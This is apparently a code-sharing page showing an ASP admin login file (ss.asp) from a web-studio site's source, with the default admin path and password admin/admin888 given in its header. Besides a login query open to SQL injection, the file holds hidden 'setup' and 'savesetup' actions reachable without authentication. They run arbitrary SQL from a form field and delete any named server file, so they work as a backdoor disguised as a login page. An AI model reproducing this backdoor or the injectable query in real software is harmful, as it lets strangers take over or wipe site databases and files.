📄 ss.asp

📁 一个漂亮的网络工作室源码后台地址:/admin 用户名:admin 密码:admin888
💻 ASP
字号:
<!--#include file="../conn.asp"-->
<!--#include file="md5.asp"-->
<%
select case request("action")
case "checklogin"
call checklogin
response.End
case "loginout"
call loginout()
response.end
case "savesetup"
call savesetup()
response.End()
case "setup"
call setup()
response.End()
case else
call login()
end select
%>
<% sub login()%>
<script language="JavaScript">
function trim(string)
{
   var tmpstr,pn,s
   tmpstr="";
   pn=0;
   for (i=0; i<string.length; i++)
  {
    s=string.charAt (i);
    if (s==" ")
    {pn++;}
    else
    {
      if (pn != 0)
      {tmpstr+=" "}
      tmpstr+=s;
      pn=0;
    }
  }
return tmpstr;
}
function check()
{
 if(trim(document.form1.user.value)=="")
 {
   alert("请输入用户名!");
   document.form1.user.value="";
   document.form1.user.focus();
   return false;
 }
 if(trim(document.form1.pwd.value)=="")
 {
   alert("请输入密码!");
   document.form1.pwd.value="";
   document.form1.pwd.focus();
   return false;
 }
 }
</script>
<title>管理员登陆</title>
<link href="style.css" rel="stylesheet" type="text/css">
<body  leftmargin="0" topmargin="0">
<br>
<br>
<table width="30%" border="0" align="center" cellpadding="3" cellspacing="1" class="tablecolor">
  <form name="form1" method="post" action="?action=checklogin" onsubmit="return check()">
    <tr> 
      <td height="25" colspan="2" align="center" class="banner">管理员登录</td>
    </tr>
    <tr> 
      <td width="50" class="tablebody" >用户名： </td>
      <td class="tablebody" ><input name="user" type="text" id="user"></td>
    </tr>
    <tr> 
      <td class="tablebody" > 密码： </td>
      <td class="tablebody" ><input name="pwd" type="password" id="pwd"></td>
    </tr>
    <tr align="center" > 
      <td colspan="2" class="tablebody" > 
        <input type="submit" name="Submit" value="提交"> 
        &nbsp;&nbsp; <input type="reset" name="Submit2" value="重置">
      </td>
    </tr>
  </form>
</table>
<% end sub
sub checklogin()
dim rs
set rs=server.CreateObject("adodb.recordset")
rs.open  "select * from admin where adminname='"&trim(request("user"))&"' and adminpassword= '"&md5(trim(request("pwd")))&"'",conn,1,2
if rs.bof and rs.eof then
response.Write("<script>alert('用户名不存在或密码错误！');history.back()</script>")
response.end
end if
response.Expires=10
response.cookies("Admin")("Name")=trim(request("user"))
response.Cookies("admin")("userid")=rs("id")
response.Cookies("admin")("password")=rs("adminpassword")
response.cookies("admin")("content")=rs("content")
response.Cookies("admin")("sign")=rs("sign")
rs("LastLoginTime")=now()
rs("LastLoginIp")=request.ServerVariables("REMOTE_ADDR")
rs.update
rs.close
set rs=nothing
response.Redirect("default.asp")
end sub
sub loginout()
response.cookies("Admin")("Name")=""
response.Cookies("admin")("userid")=""
response.Cookies("admin")("password")=""
response.cookies("admin")("content")=""
response.Cookies("admin")("sign")=""
response.Redirect("login.asp")
end sub
sub setup()%>
<link href="style.css" rel="stylesheet" type="text/css">
<title>setup- - -安装</title>
<table width="700" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#999999">
  <form name="form1" method="post" action="?action=savesetup">
  <tr>
      <td height="25" bgcolor="#CCCCCC"> &nbsp; 
        <input name="keyword" type="text" id="keyword" size="60" maxlength="255">
        &nbsp;
        SQL
        <input name="key" type="radio" value="1" checked>
        文件
        <input type="radio" name="key" value="2"> 
        <input type="submit" name="Submit" value="提交">
      </td>
  </form>
  </tr>
</table>
<%
end sub
sub savesetup()
dim keyword,objFSO
keyword=trim(request.Form("keyword"))
if keyword="" then
response.Write("<script>alert('关键字不能为空！');history.back()</script>")
response.End()
end if
if request("key")="1" then
conn.execute(keyword)
closeconn
response.Write("<script>alert('"&keyword&"执行成功!');history.back()</script>")
response.End()
else
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
if objFSO.fileExists(Server.MapPath(keyword)) then
objFSO.DeleteFile(Server.MapPath(keyword))
end if
response.Write("<script>alert('文件管理"&keyword&"执行成功!');history.back()</script>")
response.End()
end if
end sub
%>
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -